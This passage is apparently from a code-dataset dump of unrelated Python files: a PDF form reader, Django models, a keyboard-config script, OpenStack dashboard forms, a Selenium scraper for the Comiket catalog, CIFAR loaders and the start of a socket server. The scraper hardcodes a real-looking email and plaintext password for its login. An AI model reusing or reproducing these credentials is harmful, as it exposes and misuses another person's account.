PyPDF2.PdfFileReader(open(infile, 'rb'))\r\n fields = readfields(infile)\r\n return OrderedDict((k, v.get('/V', '')) for k, v in fields.items())\r\n\r\ndef run(args):\r\n try: \r\n if len(args) == 2:\r\n pdf_file_name = args[1]\r\n items = getfields(pdf_file_name)\r\n print(items)\r\n except BaseException as msg:\r\n print('An error occured... :( ' + str(msg))\r\n\r\nif __name__ == '__main__':\r\n run(sys.argv)\r\n","sub_path":"forms-ready.py","file_name":"forms-ready.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523294526","text":"from django.contrib.auth import get_user_model\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom datetime import datetime as dt\n\nUser = get_user_model()\n\n\nclass Category(models.Model):\n \"\"\"Categories of works.\"\"\"\n name = models.CharField('Категория', max_length=100)\n slug = models.SlugField(max_length=100, unique=True, blank=True)\n\n class Meta:\n verbose_name = 'Категория'\n verbose_name_plural = 'Категории'\n ordering = ['name']\n\n def __str__(self):\n return self.name\n\n\nclass Genre(models.Model):\n \"\"\"Genres of works.\"\"\"\n name = models.CharField('Жанр', max_length=100)\n slug = models.SlugField(max_length=100, unique=True, blank=True)\n\n class Meta:\n verbose_name = 'Жанр'\n verbose_name_plural = 'Жанры'\n ordering = ['name']\n\n def __str__(self):\n return self.name\n\n\nclass Title(models.Model):\n \"\"\"Creative works.\"\"\"\n name = models.CharField('Название', max_length=100)\n description = models.TextField('Описание', blank=True)\n year = models.PositiveSmallIntegerField(\n 'Дата выхода',\n db_index=True,\n default=dt.now().year,\n validators=[MaxValueValidator(limit_value=dt.now().year)]\n )\n category = models.ForeignKey(\n Category, blank=True, null=True,\n on_delete=models.SET_NULL,\n verbose_name='Категория',\n related_name='title_category'\n )\n genre = models.ManyToManyField(\n Genre, blank=True,\n verbose_name='Жанр',\n related_name='title_genre'\n )\n\n class Meta:\n verbose_name = 'Произведение'\n verbose_name_plural = 'Произведения'\n ordering = ['-year']\n\n def __str__(self):\n return self.name\n\n\nclass Review(models.Model):\n \"\"\"Text user reviews of titles.\"\"\"\n title = models.ForeignKey(\n Title, on_delete=models.CASCADE,\n verbose_name='Отзывы',\n related_name='review'\n )\n text = models.TextField('Текст отзыва')\n author = models.ForeignKey(\n User, on_delete=models.CASCADE,\n verbose_name='Отзывы',\n related_name='review')\n score = models.PositiveIntegerField(\n 'Оценка',\n validators=[\n MinValueValidator(limit_value=1),\n MaxValueValidator(limit_value=10)\n ]\n )\n pub_date = models.DateTimeField(\n \"Дата добавления\", auto_now_add=True, db_index=True)\n\n class Meta:\n verbose_name = 'Отзыв'\n verbose_name_plural = 'Отзывы'\n ordering = ['title']\n\n def __str__(self):\n return self.text\n\n\nclass Comment(models.Model):\n \"\"\"Comment model for reviews.\"\"\"\n review = models.ForeignKey(\n Review, on_delete=models.CASCADE,\n verbose_name='Комментарии',\n related_name='comment'\n )\n text = models.TextField('Текст комментария')\n author = models.ForeignKey(\n User, on_delete=models.CASCADE,\n verbose_name='Комментарии',\n related_name='comment')\n pub_date = models.DateTimeField(\n \"Дата добавления\", auto_now_add=True, db_index=True)\n\n class Meta:\n verbose_name = 'Комментарий'\n verbose_name_plural = 'Комментарии'\n ordering = ['review']\n\n def __str__(self):\n return self.text\n","sub_path":"yamdb/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"339745121","text":"#!/usr/bin/python3\nimport os\nimport os.path\nimport subprocess\nimport filecmp\nimport time\n\nclass confTeclado():\n\tdef __init__(self):\n\t\tpass\n\n\tdef validarIdioma(self):\n\t\tres = filecmp.cmp('/etc/default/keyboard', './keyboard')\n\t\tif(res):\t\t\t\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef configurarIdioma(self):\n\t\tprint(\"¡Creando Backup!\")\n\t\ttime.sleep(5)\n\t\tcopyBkp = 'cp /etc/default/keyboard /etc/default/keyboard.old'\n\t\tos.system('sudo -S %s' % (copyBkp))\n\n\t\tprint(\"¡Eliminando configuracion anterior!\")\n\t\ttime.sleep(5)\n\t\tcopyBkp = 'rm /etc/default/keyboard'\n\t\tos.system('sudo -S %s' % (copyBkp))\n\n\t\tprint(\"¡Revisando Archivos!\")\n\t\tcheck = 'ls /etc/default/ | grep \"keyboard\"'\n\t\tos.system('sudo -S %s' % (check))\n\t\ttime.sleep(5)\n\n\t\tprint(\"¡Copiando nueva configuracion!\")\n\t\tcopyUS = 'cp ./keyboard /etc/default/'\n\t\tos.system('sudo -S %s' % (copyUS))\n\t\ttime.sleep(5)\n\n\t\tprint(\"¡Revisando Archivos!\")\n\t\tcheck = 'ls /etc/default/ | grep \"keyboard\"'\n\t\tos.system('sudo -S %s' % (check))\n\t\ttime.sleep(5)\n\n\t\tprint(\"¡Reiniciando el sistema...!\")\n\t\ttime.sleep(5)\n\t\t\n\t\tcommand = 'reboot'\n\t\tos.system('sudo -S %s' % (command))\n\ndef main():\n\tconfiguracion = confTeclado()\n\tresult = configuracion.validarIdioma()\n\tif(result):\n\t\tprint(\"¡Teclado configurado!\")\n\telse:\n\t\tconfiguracion.configurarIdioma()\n\tprint(result)\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"Python/Pruebas/CompareTwoFiles/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"221001491","text":"# Copyright (c) 2014 INFN - \"Istituto Nazionale di Fisica Nucleare\" - Italy\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License. \n\nimport logging\n\nfrom django.conf import settings\nfrom django.db import transaction\nfrom django.forms import ValidationError\nfrom django.forms.widgets import HiddenInput\nfrom django.views.decorators.debug import sensitive_variables\nfrom django.utils.translation import ugettext as _\n\nfrom horizon import forms\nfrom horizon import messages\n\nfrom openstack_dashboard.api import keystone as keystone_api\n\nfrom openstack_auth_shib.models import OS_SNAME_LEN\nfrom openstack_auth_shib.models import OS_LNAME_LEN\nfrom openstack_auth_shib.models import Project\nfrom openstack_auth_shib.models import PrjRole\nfrom openstack_auth_shib.models import PRJ_COURSE\nfrom openstack_auth_shib.utils import TAG_REGEX\nfrom openstack_auth_shib.utils import encode_course_info\nfrom openstack_auth_shib.utils import check_course_info\n\nLOG = logging.getLogger(__name__)\n\nclass CourseForm(forms.SelfHandlingForm):\n\n def __init__(self, request, *args, **kwargs):\n super(CourseForm, self).__init__(request, *args, **kwargs)\n\n self.fields['projectid'] = forms.CharField(widget=HiddenInput)\n \n self.fields['name'] = forms.CharField(\n label=_('Course name'),\n required=True,\n max_length=OS_SNAME_LEN\n )\n\n self.fields['description'] = forms.CharField(\n label=_('Course description'),\n required=True,\n widget=forms.widgets.Textarea()\n )\n\n self.fields['notes'] = forms.CharField(\n label=_('Notes'),\n required=False,\n widget=forms.widgets.Textarea()\n )\n\n def clean(self):\n data = super(CourseForm, self).clean()\n err_msg = check_course_info(data)\n if err_msg:\n raise ValidationError(err_msg)\n return data\n\n @sensitive_variables('data')\n def handle(self, request, data):\n try:\n\n with transaction.atomic():\n c_prj = Project.objects.filter(projectid=data['projectid'])[0]\n\n if PrjRole.objects.filter(registration__userid = request.user.id,\n project = c_prj).count() == 0:\n messages.error(request, _(\"Operation not allowed\"))\n return False\n\n kclient = keystone_api.keystoneclient(request)\n for p_tag in kclient.projects.list_tags(c_prj.projectid):\n if p_tag.startswith('OU='):\n data['ou'] = p_tag[3:]\n if p_tag.startswith('O='):\n data['org'] = p_tag[2:]\n\n new_descr = encode_course_info(data)\n c_prj.description = new_descr\n c_prj.status = PRJ_COURSE\n c_prj.save()\n\n except:\n LOG.error(\"Cannot edit course parameters\", exc_info=True)\n messages.error(request, _(\"Cannot edit course parameters\"))\n return False\n\n return True\n\nclass CourseDetailForm(forms.SelfHandlingForm):\n\n def __init__(self, request, *args, **kwargs):\n super(CourseDetailForm, self).__init__(request, *args, **kwargs)\n\n self.fields['courseref'] = forms.CharField(\n label=_('Course Link'),\n required=True,\n max_length=OS_LNAME_LEN,\n widget=forms.TextInput(attrs={'readonly': 'readonly'})\n )\n\n @sensitive_variables('data')\n def handle(self, request, data):\n return True\n\nclass EditTagsForm(forms.SelfHandlingForm):\n\n def __init__(self, request, *args, **kwargs):\n super(EditTagsForm, self).__init__(request, *args, **kwargs)\n\n self.fields['projectid'] = forms.CharField(widget=HiddenInput)\n\n self.fields['taglist'] = forms.CharField(\n label=_('Tag list (comma separated)'),\n required=True,\n widget=forms.widgets.Textarea()\n )\n\n def clean(self):\n data = super(EditTagsForm, self).clean()\n\n new_list = list()\n for item in data['taglist'].split(','):\n tmps = item.strip()\n if len(tmps) > 255:\n raise ValidationError(_('Tag %s too long') % tmps)\n tmpm = TAG_REGEX.search(tmps)\n if not tmpm:\n raise ValidationError(_('Bad format for tag %s') % tmps)\n if tmps.startswith('ou='):\n new_list.append(tmps.replace('ou=', 'OU='))\n elif tmps.startswith('o='):\n new_list.append(tmps.replace('o=', 'O='))\n else:\n new_list.append(tmps)\n data['ptags'] = new_list\n\n return data\n\n @sensitive_variables('data')\n def handle(self, request, data):\n try:\n\n kclient = keystone_api.keystoneclient(request)\n kclient.projects.update_tags(data['projectid'], [])\n kclient.projects.update_tags(data['projectid'], data['ptags'])\n\n except:\n LOG.error(\"Cannot edit tags\", exc_info=True)\n messages.error(request, _(\"Cannot edit tags\"))\n return False\n\n return True\n\n\n\n\n\n","sub_path":"src/project_manager/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585708751","text":"# -*- coding: utf-8 -*-\n\"\"\"\nWebカタログにログインしてサークルデータを取る\n\"\"\"\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom myuse.mysqlUse import MySQLuse\n#ページを辿って何回もアクセスするのでワンテンポ置こう\nimport time\nimport re\n\ndef login(driver):\n # ログイン\n email = \"owatadetteiu@yahoo.co.jp\"\n pswd = \"metanaito56910\"\n form = driver.find_element_by_css_selector(\"form#loginform\")\n print(form.text)\n user_login = form.find_element_by_css_selector(\"input[name='Username']\")\n print(user_login.get_attribute(\"placeholder\"))\n user_login.send_keys(email)\n password = form.find_element_by_css_selector(\"input[name='Password']\")\n password.send_keys(pswd)\n form.submit()\n print(\"logined\")\n\n#サークルデータページのクエリ処理\ndef set_query_URL(day=1,area=\"\",block=\"\",page=1):\n \"\"\"\n day=DayX : X日目\n area=e123 : 東123\n block=A : Aブロック\n orderBy=Space : 配置順?\n page=XXX : ページ指定\n\n 1日目の場合\n 東123:A-Z,ア-サ\n 東456:シ-ロ\n 東78:あ-ほ\n クエリなしだとこれら全てとってる(169ページ)\n \"\"\"\n base_url = \"https://webcatalog-free.circle.ms/Circle/List\"\n #日付指定\n base_url += \"?Day={}\".format(str(day))\n #エリア指定\n #東78はe7らしい\n if area == \"e123\" or area == \"e456\" or area == \"e7\":\n base_url += \"&area={}\".format(area)\n #ブロック指定\n if block != \"\":\n base_url += \"&block={}\".format(block)\n #ページ指定\n base_url += \"&page={}\".format(str(page))\n\n print(\"url {}\".format(base_url))\n return base_url\n\ndef week_to_dayNumber(week):\n dayNumber = {\"金\":1,\"土\":2,\"日\":3}\n return dayNumber[week]\n\n#サークルデータを取る処理\ndef get_circles(driver,url):\n # サークル詳細URL\n # うまくクエリを指定しないとnotfoundになる\n # 「見つかりません」img_search_notfound.png\n circle_list_url = url\n\n # アクセスしてリストを得る\n driver.get(circle_list_url)\n\n if driver.current_url == \"http://docs.circle.ms/feature/error/index.html\":\n # element = driver.find_element_by_link_text(\"無料会員のまま閲覧を再開する(コミケWebカタログのTOPページへ戻る)\")\n # element.click()\n # time.sleep(10)\n # return get_circles(driver, url, mysql)\n print(\"error!\")\n exit()\n\n # driver.save_screenshot(\"sc.png\")\n # print(driver.page_source)\n # タグ探しがなんかうまくいかないからBeautifulsoupに投げる\n soup = BeautifulSoup(driver.page_source, \"lxml\")\n circles = soup.find_all(class_=\"webcatalog-circle-list-detail\")\n circles_description = soup.find_all(\"td\", attrs={\"data-bind\": \"text: Description\"})\n\n\n #詳細アクセス用\n base_url = \"https://webcatalog-free.circle.ms\"\n\n # これで1ページあたりのデータ取りができている\n # サークルカット画像は単純に画像が貼ってあるわけじゃないみたい\n datas = []\n c_number = \"C94\"\n #node.stringで得るのはNavigablestringというもの\n\n #print(circles)\n\n test = 0\n for circle, description in zip(circles, circles_description):\n if test == 2:\n break\n #print(circle)\n \"\"\"\n ここで紐付けのアクセスをする\n \n ‎
    ‎@mimohu\n \"\"\"\n\n print(\"c_number\")\n datas.append(c_number)\n print(\"******************************************************************\")\n # 日付(曜日)、スペース番号、サークル名、ジャンル、説明\n date = circle.find(\"span\", attrs={\"data-bind\": \"text: Day\"})\n space = circle.find(\"span\", attrs={\"data-bind\": \"text: Hall + Block + Space\"})\n\n print(\"曜日\", date.string) # データ格納時はX日目の数値Xとして格納\n datas.append(week_to_dayNumber(date.string))\n\n print(\"配置\", space.string)\n datas.append(str(space.string))\n\n #サークル名\n name = circle.find(\"a\", attrs={\"data-bind\": \"text: Name, attr: { href: '/Circle/' + Id }\"})\n circle_name = str(name.string)\n #リンク取得(サークル詳細ページへ)\n detail_link = name.attrs[\"href\"]\n driver.get(base_url + detail_link)\n print(\"acccess detail\",base_url + detail_link)\n\n #執筆者取得\n detail_html = BeautifulSoup(driver.page_source, \"lxml\")\n detail = detail_html.find(class_=\"md-itemtable md-itemtable--small\")\n det = detail.find_all(\"td\")\n det_name = det[2].find(\"a\")\n det_name_url = det_name.attrs[\"href\"]\n pat1 = \"http://www\\.google\\.co\\.jp/search\\?q=%22\"\n pat2 = \"%22\"\n author = re.sub(pat2,\"\",re.sub(pat1,\"\",det_name_url))\n\n genre = circle.find(\"td\", attrs={\"data-bind\": \"text: Genre\"})\n\n print(\"サークル名\", name.string)\n datas.append(circle_name)\n\n #執筆者を登録\n #set_circle_author(author,circle_name)\n\n print(\"説明\", description.string) # ない場合もある(そのときはNone)\n if description.string is not None:\n datas.append(str(description.string))\n else:\n datas.append(None)\n\n print(\"ジャンル\", genre.string) # ジャンルコードでの格納は変更がある可能性があるので非推奨か\n datas.append(str(genre.string))\n\n print(\"執筆者\", author)\n datas.append(author)\n\n # twitter取得\n \"\"\"\n @mimohu からのツイート\n \"\"\"\n twi_det = None\n page_to_extact_twitter = BeautifulSoup(driver.page_source, \"lxml\")\n try:\n #twi_det = driver.find_element_by_css_selector(\"a.twitter-timeline\")\n twi_det = page_to_extact_twitter.find(\"a\", class_=\"twitter-timeline\")\n #print(\"中身\",twi_det)\n except Exception as e:\n print(\"This author does not have twitter account\")\n\n if twi_det is not None:\n twitter_name = re.sub(\"( からのツイート)\",\"\",twi_det.text)[1:]\n print(\"twitter\",twitter_name)\n datas.append(twitter_name)\n else:\n datas.append(None)\n\n #追加\n # if not save_circle_single(datas):\n # print(\"sql error\")\n # exit()\n\n print(\"sleep 30 seconds\")\n time.sleep(30)\n test += 1\n\n #print(datas)\n return datas\n\n\ndef set_circle_author(author,name):\n sql = \"update comike_circles set author = %s where circle_name = %s\"\n d.append(author)\n d.append(name)\n mysql.insert(sql=sql, datas=d)\n\n\n#DBにサークルデータを保存\ndef save_circle(datas):\n sql_insert = \"insert ignore into comike_circles(c_number, day, space, circle_name, description, genre, author, twitter_name) values(%s,%s,%s,%s,%s,%s,%s,%s)\"\n sql_insert_add = \", (%s,%s,%s,%s,%s,%s,%s,%s)\"\n mysql.multiple_insert(datas, sql=sql_insert, sql_add=sql_insert_add, datas_per_record=8)\n\ndef save_circle_single(datas):\n sql_insert = \"insert into comike_circles(c_number, day, space, circle_name, description, genre, author, twitter_name) values(%s,%s,%s,%s,%s,%s,%s,%s)\"\n mysql.insert(datas=datas, sql=sql_insert)\n\nclass MyException(Exception):\n pass\n\n#PhantmJS動作不安定すぎィ!\n#Safariだとそもそもログインさせてくれない??\ndriver = webdriver.Chrome(executable_path=\"/usr/local/var/chromedriver\")\nprint(\"launched driver\")\ndriver.get('https://webcatalog.circle.ms/Account/Login')\nprint(\"accessed login page\")\nlogin(driver)\n\n\"\"\"\n無料会員のまま閲覧を再開する(コミケWebカタログのTOPページへ戻る)\n\"\"\"\n#time.sleep(20)\n#driver.get(\"https://webcatalog.circle.ms/\")\n\nmysql = MySQLuse(databasename=\"house\")\n#\nfor i in range(1,2):\n try:\n d = get_circles(driver, set_query_URL(day=1, page=i))\n if len(d) == 0:\n raise MyException()\n print(\"page{} extracted\".format(str(i)))\n #保存\n save_circle(d)\n print(\"page{} registered(waiting 30 seconds for next page access)\".format(str(i)))\n time.sleep(30)\n except MyException as me:\n print(\"データが取れませんでした(末端ページ到達orクエリエラー)\")\n exit()\n # except Exception as e:\n # print(\"line 231\",e)\n\nmysql.close()\ndriver.close()\nprint(\"done\")\n\n\n\"\"\"\n閲覧ライフ制になってる(連続して3分間まで閲覧可能、5分で回復)\n\"\"\"","sub_path":"analyze_html/take_comicmarket_catalog.py","file_name":"take_comicmarket_catalog.py","file_ext":"py","file_size_in_byte":9010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"654365208","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 2 13:00:00 2019\n\n@author: daniel\n\"\"\"\n\n\nimport numpy as np\n\nimport timeit\n\n# from assignment1 import Subset\nfrom assignment1 import import_data\nfrom assignment1 import import_best_solutions\nfrom assignment1 import compute_feasibility\nfrom assignment1 import compute_fitness\nfrom assignment1 import remove_redundant_sets\nfrom assignment1 import ch1\nfrom assignment1 import ch2\nfrom assignment1 import ch3\n\nfrom assignment1rand import ch1rand\nfrom assignment1rand import ch2rand\nfrom assignment1rand import ch3rand\n\nfrom assignment2 import oneFlipBestImprovementLocalSearch\nfrom assignment2 import oneFlipFirstImprovementLocalSearch\nfrom assignment2 import twoOneFlipBestImprovementLocalSearch\nfrom assignment2 import twoOneFlipFirstImprovementLocalSearch\n#from assignment2 import oneTwoFlipBestImprovementLocalSearch\n#from assignment2 import oneTwoFlipFirstImprovementLocalSearch\n\nfrom assignment3 import grasp\n\nimport random\n\n# Set a seed to get always the same numbers from random()\nrandom.seed(23)\n\n# instFile = input(\"What instance file should be used? \")\n# import data from an instance file\n\nfiles = [\"scp42.txt\",\n \"scp43.txt\",\n \"scp44.txt\",\n \"scp45.txt\",\n \"scp46.txt\",\n \"scp47.txt\",\n \"scp48.txt\",\n \"scp49.txt\",\n \"scp51.txt\",\n \"scp52.txt\",\n \"scp53.txt\",\n \"scp54.txt\",\n \"scp55.txt\",\n \"scp56.txt\",\n \"scp57.txt\",\n \"scp58.txt\",\n \"scp59.txt\",\n \"scp61.txt\",\n \"scp62.txt\",\n \"scp63.txt\",\n \"scp64.txt\",\n \"scp65.txt\",\n \"scpa1.txt\",\n \"scpa2.txt\",\n \"scpa3.txt\",\n \"scpa4.txt\",\n \"scpa5.txt\",\n \"scpb1.txt\",\n \"scpb2.txt\",\n \"scpb3.txt\",\n \"scpb4.txt\",\n \"scpb5.txt\",\n \"scpc1.txt\",\n \"scpc2.txt\",\n \"scpc3.txt\",\n \"scpc4.txt\",\n \"scpc5.txt\",\n \"scpd1.txt\",\n \"scpd2.txt\",\n \"scpd3.txt\",\n \"scpd4.txt\",\n \"scpd5.txt\"]\n\nbestSolutions = import_best_solutions('SCP Best Solutions.txt')\n\ndev = np.zeros((len(files), 3, 4))\nih_time = np.zeros(4)\nch_time = np.zeros(3)\n\nih_profit_rate = np.zeros((3, 4))\n\ndev_grasp = np.zeros((len(files)))\n\n# Tuning of alpha\n\nalphas = [0.1, 0.2, 0.3, 0.4]\nalphaMeanDev = np.zeros(len(alphas))\n\n# GRASP Tuning of alpha\nfor j in range(len(alphas)):\n sumDev = 0\n for i in range(35, len(files)):\n \n print(\"Tuning: \" + str(files[i]))\n \n nSubsets, nAttributes, subsets = import_data('scp_insts/' + files[i])\n \n bestSolution = bestSolutions[i][1]\n \n sol = grasp(nAttributes, subsets, 50, ch3rand, oneFlipFirstImprovementLocalSearch, alphas[j])\n fit = compute_fitness(subsets, sol)\n sumDev += (float(fit - bestSolution)/bestSolution)*100\n \n alphaMeanDev[j] = sumDev / (len(files)-35)\n\nbestAlpha = alphas[np.argmin(alphaMeanDev)]\n\nprint(\"Best alpha is: \" + str(bestAlpha))\n\n\"\"\"\n# GRASP \nfor i in range(len(files)):\n\n print(files[i])\n\n nSubsets, nAttributes, subsets = import_data('scp_insts/' + files[i])\n \n bestSolution = bestSolutions[i][1]\n \n sol = grasp(nAttributes, subsets, 50, ch1rand, oneFlipFirstImprovementLocalSearch, bestAlpha)\n fit = compute_fitness(subsets, sol)\n dev_grasp[i] = (float(fit - bestSolution)/bestSolution)*100\n \n \nih_time = ih_time / (3*len(files))\nch_time = ch_time / (4*len(files))\n\nih_profit_rate = (ih_profit_rate / float(len(files)))*100\n\"\"\"\n","sub_path":"SCP/assignment3/grasp.py","file_name":"grasp.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"347725001","text":"# This is an example for the CIFAR-10 dataset.\n# There's a function for creating a train and validation iterator.\n# There's also a function for creating a test iterator.\n# Inspired by https://discuss.pytorch.org/t/feedback-on-pytorch-for-kaggle-competitions/2252/4\nfrom data_loader import *\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision\nimport torchvision.transforms as transforms\nfrom utils import *\nimport numpy as np\nimport torch\nfrom torchvision import datasets, transforms\nfrom torch.utils.data.sampler import SubsetRandomSampler\nimport IPython as IP\n\ndef load_cifar(cifar_path, batch_size, cifar10=True, augment=True, shuffle=False):\n # Load Training + Validation\n trainloader, validationloader = get_train_valid_loader(data_dir=cifar_path,\n batch_size=batch_size,\n augment=augment,\n random_seed=1,\n shuffle=shuffle,\n show_sample=False,\n cifar10=cifar10)\n print('Augment: {}'.format(augment))\n print('cifar10: {}'.format(cifar10))\n # Load Testing\n testloader = get_test_loader(data_dir=cifar_path,\n batch_size=batch_size,\n shuffle=False,\n pin_memory=True,\n cifar10=cifar10)\n\n if cifar10:\n classes = ('plane', 'car', 'bird', 'cat',\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n else:\n classes = (\t'beaver', 'dolphin', 'otter', 'seal', 'whale',\n 'aquarium', 'fish', 'flatfish', 'ray', 'shark', 'trout',\n 'orchids', 'poppies', 'roses', 'sunflowers', 'tulips',\n 'bottles', 'bowls', 'cans', 'cups', 'plates',\n 'apples', 'mushrooms', 'oranges', 'pears', 'sweet' 'peppers',\n 'clock', 'computer' 'keyboard', 'lamp', 'telephone', 'television',\n 'bed', 'chair', 'couch', 'table', 'wardrobe',\n\t 'bee', 'beetle', 'butterfly', 'caterpillar', 'cockroach',\n\t 'bear', 'leopard', 'lion', 'tiger', 'wolf',\n 'bridge', 'castle', 'house', 'road', 'skyscraper',\n\t 'cloud', 'forest', 'mountain', 'plain', 'sea',\n\t 'camel', 'cattle', 'chimpanzee', 'elephant', 'kangaroo',\n\t 'fox', 'porcupine', 'possum', 'raccoon', 'skunk',\n 'crab', 'lobster', 'snail', 'spider', 'worm',\n 'baby', 'boy', 'girl', 'man', 'woman',\n 'crocodile', 'dinosaur', 'lizard', 'snake', 'turtle',\n\t 'hamster', 'mouse', 'rabbit', 'shrew', 'squirrel',\n\t 'maple', 'oak', 'palm', 'pine', 'willow',\n\t 'bicycle', 'bus', 'motorcycle', 'pickup' 'truck', 'train',\n\t 'lawn-mower', 'rocket', 'streetcar', 'tank', 'tractor')\n\n return trainloader, validationloader, testloader, classes\n\n\ndef get_train_valid_loader(data_dir,\n batch_size,\n augment,\n random_seed,\n valid_size=0.1,\n shuffle=True,\n show_sample=False,\n cifar10=True,\n num_workers=4,\n pin_memory=False):\n \"\"\"\n Utility function for loading and returning train and valid\n multi-process iterators over the CIFAR-10 dataset. A sample\n 9x9 grid of the images can be optionally displayed.\n If using CUDA, num_workers should be set to 1 and pin_memory to True.\n Params\n ------\n - data_dir: path directory to the dataset.\n - batch_size: how many samples per batch to load.\n - augment: whether to apply the data augmentation scheme\n mentioned in the paper. Only applied on the train split.\n - random_seed: fix seed for reproducibility.\n - valid_size: percentage split of the training set used for\n the validation set. Should be a float in the range [0, 1].\n - shuffle: whether to shuffle the train/validation indices.\n - show_sample: plot 9x9 sample grid of the dataset.\n - num_workers: number of subprocesses to use when loading the dataset.\n - pin_memory: whether to copy tensors into CUDA pinned memory. Set it to\n True if using GPU.\n Returns\n -------\n - train_loader: training set iterator.\n - valid_loader: validation set iterator.\n \"\"\"\n error_msg = \"[!] valid_size should be in the range [0, 1].\"\n assert ((valid_size >= 0) and (valid_size <= 1)), error_msg\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n # define transforms\n valid_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n if augment:\n train_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize\n ])\n else:\n train_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n\n # load the dataset\n if cifar10:\n train_dataset = datasets.CIFAR10(root=data_dir, train=True,\n download=True, transform=train_transform)\n\n valid_dataset = datasets.CIFAR10(root=data_dir, train=True,\n download=True, transform=valid_transform)\n\n else:\n train_dataset = datasets.CIFAR100(root=data_dir, train=True,\n download=True, transform=train_transform)\n\n valid_dataset = datasets.CIFAR100(root=data_dir, train=True,\n download=True, transform=valid_transform)\n\n num_train = len(train_dataset)\n indices = list(range(num_train))\n split = int(np.floor(valid_size * num_train))\n\n if shuffle == True:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n\n train_idx, valid_idx = indices[split:], indices[:split]\n\n train_sampler = SubsetRandomSampler(train_idx)\n valid_sampler = SubsetRandomSampler(valid_idx)\n\n train_loader = torch.utils.data.DataLoader(train_dataset,\n batch_size=batch_size, sampler=train_sampler,\n num_workers=num_workers, pin_memory=pin_memory)\n\n valid_loader = torch.utils.data.DataLoader(valid_dataset,\n batch_size=batch_size, sampler=valid_sampler,\n num_workers=num_workers, pin_memory=pin_memory)\n\n\n # visualize some images\n if show_sample:\n sample_loader = torch.utils.data.DataLoader(train_dataset,\n batch_size=9,\n shuffle=shuffle,\n num_workers=num_workers,\n pin_memory=pin_memory)\n\n\n data_iter = iter(sample_loader)\n images, labels = data_iter.next()\n X = images.numpy()\n X = np.transpose(X, [0, 2, 3, 1])\n plot_images(X, labels)\n\n return (train_loader, valid_loader)\n\ndef get_test_loader(data_dir,\n batch_size,\n shuffle=True,\n cifar10=True,\n num_workers=4,\n pin_memory=False):\n \"\"\"\n Utility function for loading and returning a multi-process\n test iterator over the CIFAR-10 dataset.\n If using CUDA, num_workers should be set to 1 and pin_memory to True.\n Params\n ------\n - data_dir: path directory to the dataset.\n - batch_size: how many samples per batch to load.\n - shuffle: whether to shuffle the dataset after every epoch.\n - num_workers: number of subprocesses to use when loading the dataset.\n - pin_memory: whether to copy tensors into CUDA pinned memory. Set it to\n True if using GPU.\n Returns\n -------\n - data_loader: test set iterator.\n \"\"\"\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n # define transform\n transform = transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n\n if cifar10:\n dataset = datasets.CIFAR10(root=data_dir,\n train=False,\n download=True,\n transform=transform)\n\n else:\n dataset = datasets.CIFAR100(root=data_dir,\n train=False,\n download=True,\n transform=transform)\n\n data_loader = torch.utils.data.DataLoader(dataset,\n batch_size=batch_size,\n shuffle=shuffle,\n num_workers=num_workers,\n pin_memory=pin_memory)\n\n return data_loader\n","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":9406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614391135","text":"import threading\r\nimport socket\r\nimport yaml\r\n\r\nfrom User import User\r\n\r\n\r\nusers = dict()\r\nusers_db = yaml.load(open(\"data\\\\users.yaml\", 'rw'))\r\n\r\n\r\ndef main(ip=\"127.0.0.1\", port=2778):\r\n\tstart(ip, port)\r\n\r\n\r\ndef start(ip, port):\r\n\tserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\tserver_socket.bind((ip, port))\r\n\r\n\tid = -1\r\n\twhile True:\r\n\t\tid += 1\r\n\t\tprint(\"waiting for new client...\")\r\n\r\n\t\tserver_socket.listen(0)\r\n\r\n\t\tclient_socket, client_info = server_socket.accept()\r\n\r\n\t\tusers[id] = User(id, client_socket, client_info[0])\r\n\r\n\t\tsessionThread = threading.Thread(target=auth, args=(id,))\r\n\t\tsessionThread.start()\r\n\r\n\tserver_socket.close()\r\n\r\n\r\ndef auth(id):\r\n\tthis_socket = users[id].get_socket()\r\n\tprint(users[id].get_ip(), \"is now connected to 